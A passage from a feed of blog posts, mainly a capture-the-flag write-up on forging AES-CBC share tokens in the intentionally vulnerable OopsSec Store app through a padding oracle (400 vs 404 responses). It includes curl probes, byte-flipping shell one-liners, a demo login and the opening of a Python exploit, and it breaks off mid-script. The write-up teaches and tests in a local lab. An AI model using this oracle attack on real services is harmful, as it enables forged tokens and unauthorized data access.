&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>nextjs</category>
      <category>react</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How a 400 vs 404 gap let me forge a token and read an internal report</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Wed, 15 Jul 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/how-a-400-vs-404-gap-let-me-forge-a-token-and-read-an-internal-report-209f</link>
      <guid>https://dev.to/oopssec-store/how-a-400-vs-404-gap-let-me-forge-a-token-and-read-an-internal-report-209f</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;A padding oracle in OopsSec Store's share feature leaks whether decryption produced valid PKCS#7 padding. That's enough to forge a token for an internal report and grab the flag.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OopsSec Store has a "Share Order" button that generates encrypted links. No login needed to open them. The tokens use AES-256-CBC, but nobody bothered adding an HMAC or using authenticated encryption. Worse, the server returns different status codes for "bad padding" and "resource not found". That's a textbook padding oracle, and we can abuse it to forge a token that decrypts to whatever plaintext we want.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Target identification
&lt;/h2&gt;

&lt;p&gt;After placing an order, the confirmation page shows a "Share Order" button. Clicking it generates a share URL:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http://localhost:3000/api/documents/share?token=a1b2c3d4...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The token is a hex string. Visit the URL and you get order details as JSON, no authentication required. It's 64 hex characters long, so 32 bytes: 16 bytes IV + 16 bytes ciphertext. A single AES block.&lt;/p&gt;
&lt;h2&gt;
  
  
  Discovery: finding the oracle
&lt;/h2&gt;

&lt;p&gt;Grab a valid token and start poking at it. Generate a share link from an order page, then extract the token.&lt;/p&gt;
&lt;h3&gt;
  
  
  Confirming the token works
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;your-token-here&amp;gt;"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:3000/api/documents/share?token=&lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Response (200):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"order"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"order"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ORD-004"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"total"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;12.99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PENDING"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Flipping a byte in the ciphertext
&lt;/h3&gt;

&lt;p&gt;Modify one hex character near the end of the token (in the ciphertext portion, bytes 17-32):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Change the last hex digit&lt;/span&gt;
&lt;span class="nv"&gt;MODIFIED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;:0:63&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;0"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:3000/api/documents/share?token=&lt;/span&gt;&lt;span class="nv"&gt;$MODIFIED&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Response: &lt;strong&gt;400&lt;/strong&gt; — &lt;code&gt;{"error": "Invalid share token format"}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Decryption failed. Bad padding.&lt;/p&gt;
&lt;h3&gt;
  
  
  Flipping a byte in the IV
&lt;/h3&gt;

&lt;p&gt;For a single block the IV is the previous block: each IV byte XORs into exactly one plaintext byte. To keep valid padding while still corrupting the content, flip a byte that lands inside the resource id (&lt;code&gt;ORD-004&lt;/code&gt;), not the &lt;code&gt;order&lt;/code&gt; type name and not the last byte (which carries the padding). Here we change a byte in the middle of the IV:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Change a hex digit mapping to the resource id (leaves "order:" and the padding intact)&lt;/span&gt;
&lt;span class="nv"&gt;MODIFIED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;:0:12&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;0&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;:13&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:3000/api/documents/share?token=&lt;/span&gt;&lt;span class="nv"&gt;$MODIFIED&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Response: &lt;strong&gt;404&lt;/strong&gt; — &lt;code&gt;{"error": "Shared resource not found"}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The padding byte is untouched, so decryption succeeds, but the plaintext now reads &lt;code&gt;order:&amp;lt;garbage&amp;gt;&lt;/code&gt;. The server parsed a valid type, looked up a resource that doesn't exist, and returned 404.&lt;/p&gt;

&lt;p&gt;Two traps to avoid when probing: flipping the &lt;em&gt;last&lt;/em&gt; IV byte corrupts the padding itself → 400, and flipping a byte in the &lt;code&gt;order&lt;/code&gt; type name makes the type unknown → 400 &lt;code&gt;Unsupported resource type&lt;/code&gt;. Only a byte inside the id gives a clean 404.&lt;/p&gt;

&lt;p&gt;There's our oracle: a &lt;strong&gt;400&lt;/strong&gt; means the padding was rejected, while any &lt;strong&gt;non-400&lt;/strong&gt; response (404 here) means the padding was valid and the server simply couldn't route the plaintext. The attack needs exactly that one bit.&lt;/p&gt;
&lt;h2&gt;
  
  
  Understanding the vulnerability
&lt;/h2&gt;
&lt;h3&gt;
  
  
  AES-CBC decryption
&lt;/h3&gt;

&lt;p&gt;For a single-block ciphertext:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Plaintext = Decrypt(Key, CiphertextBlock) XOR IV
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Decrypting the cipher block gives an "intermediate value". XOR that with the IV and you get the plaintext. The thing is, if we figure out the intermediate value, we can pick an IV that XORs it into whatever plaintext we want.&lt;/p&gt;
&lt;h3&gt;
  
  
  PKCS#7 padding
&lt;/h3&gt;

&lt;p&gt;The last block must have valid PKCS#7 padding. For a 13-byte plaintext like &lt;code&gt;order:ORD-001&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;o  r  d  e  r  :  O  R  D  -  0  0  1  03 03 03
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The last 3 bytes are &lt;code&gt;\x03\x03\x03&lt;/code&gt; (3 bytes of padding, each with value 3).&lt;/p&gt;

&lt;p&gt;For a 15-byte plaintext like &lt;code&gt;report:internal&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;r  e  p  o  r  t  :  i  n  t  e  r  n  a  l  01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Just one byte of padding: &lt;code&gt;\x01&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  The attack step by step
&lt;/h3&gt;

&lt;p&gt;To recover &lt;code&gt;intermediate[15]&lt;/code&gt; (the last intermediate byte):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Set a test IV where bytes 0-14 are anything and byte 15 is our guess &lt;code&gt;g&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Send &lt;code&gt;testIV + originalCipherBlock&lt;/code&gt; to the server&lt;/li&gt;
&lt;li&gt;The server computes &lt;code&gt;plaintext[15] = intermediate[15] XOR g&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;plaintext[15] == 0x01&lt;/code&gt;, padding is valid and the server returns 404 instead of 400&lt;/li&gt;
&lt;li&gt;When we find the right &lt;code&gt;g&lt;/code&gt;: &lt;code&gt;intermediate[15] = g XOR 0x01&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For byte 14, we want 2-byte padding (&lt;code&gt;\x02\x02&lt;/code&gt;):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Set &lt;code&gt;testIV[15] = intermediate[15] XOR 0x02&lt;/code&gt; (forces last byte to &lt;code&gt;\x02&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Brute-force &lt;code&gt;testIV[14]&lt;/code&gt; from 0 to 255&lt;/li&gt;
&lt;li&gt;When padding is valid: &lt;code&gt;intermediate[14] = g XOR 0x02&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Repeat for all 16 bytes. Worst case: 256 x 16 = 4,096 requests for one block.&lt;/p&gt;
&lt;h3&gt;
  
  
  Handling false positives
&lt;/h3&gt;

&lt;p&gt;When attacking the last byte, a guess might produce valid padding like &lt;code&gt;\x02\x02&lt;/code&gt; (if the second-to-last decrypted byte happens to be &lt;code&gt;\x02&lt;/code&gt;) instead of the &lt;code&gt;\x01&lt;/code&gt; we're looking for. Easy to check:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Flip byte 14 of the test IV&lt;/li&gt;
&lt;li&gt;If the server now returns 400, the original result was a false positive (the padding was &lt;code&gt;\x02\x02&lt;/code&gt;, not &lt;code&gt;\x01&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Skip this guess and move on&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One more subtlety: the 400-vs-non-400 signal isn't perfectly clean. A decryption that produces valid padding but whose plaintext happens to contain a &lt;code&gt;:&lt;/code&gt; followed by an unknown type also returns 400 (&lt;code&gt;Unsupported resource type&lt;/code&gt;). Since &lt;code&gt;intermediate = plaintext XOR IV&lt;/code&gt; is effectively random per token, there's roughly a 6% chance (&lt;code&gt;1 - (255/256)^16&lt;/code&gt;) that the block's intermediate value contains a &lt;code&gt;:&lt;/code&gt; (&lt;code&gt;0x3a&lt;/code&gt;), in which case the highest byte can't be recovered and the script bails out. If that happens, just generate a fresh share token and run it again.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 1: Generate a valid share token
&lt;/h3&gt;

&lt;p&gt;Log in (e.g., as &lt;code&gt;alice@example.com&lt;/code&gt; / &lt;code&gt;iloveduck&lt;/code&gt;), place an order, and click "Share Order" on the confirmation page. Copy the token from the generated URL.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;your-64-char-hex-token&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Step 2: Confirm the oracle
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Original token — should return 200&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:3000/api/documents/share?token=&lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Flip last ciphertext byte — should return 400 (bad padding)&lt;/span&gt;
&lt;span class="nv"&gt;FLIP_CT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;:0:63&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%x'&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;x&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;:63:1&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;16&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:3000/api/documents/share?token=&lt;/span&gt;&lt;span class="nv"&gt;$FLIP_CT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Flip a byte inside the resource id — should return 404 (valid padding, wrong resource)&lt;/span&gt;
&lt;span class="nv"&gt;FLIP_IV&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;:0:12&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%x'&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;x&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;:12:1&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;16&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;:13&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:3000/api/documents/share?token=&lt;/span&gt;&lt;span class="nv"&gt;$FLIP_IV&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Step 3: Discover the target resource
&lt;/h3&gt;

&lt;p&gt;Once you can decrypt your own token, you'll see the format is &lt;code&gt;order:&amp;lt;id&amp;gt;&lt;/code&gt;. But what other resource types exist?&lt;/p&gt;

&lt;p&gt;Forge a token with a garbage type (e.g., &lt;code&gt;aaaa:test&lt;/code&gt;) and the server tells you:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Unsupported resource type 'aaaa'. Expected: order, report"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;So &lt;code&gt;report&lt;/code&gt; is a valid type. Try common identifiers: &lt;code&gt;report:internal&lt;/code&gt;, &lt;code&gt;report:admin&lt;/code&gt;, &lt;code&gt;report:secret&lt;/code&gt;... The target is &lt;code&gt;report:internal&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 4: Run the padding oracle attack
&lt;/h3&gt;

&lt;p&gt;Here's the full Python exploit:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Padding oracle exploit for OopsSec Store share tokens.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="n"&gt;BASE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://localhost:3000&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;has_valid_padding&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token_hex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Returns True if the server indicates valid padding (non-400 response).&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;BASE_URL&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/documents/share&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;token_hex&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;recover_intermediate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Recover the intermediate state of a cipher block using the padding oracle.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;intermediate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;byte_pos&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLOCK_SIZE&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
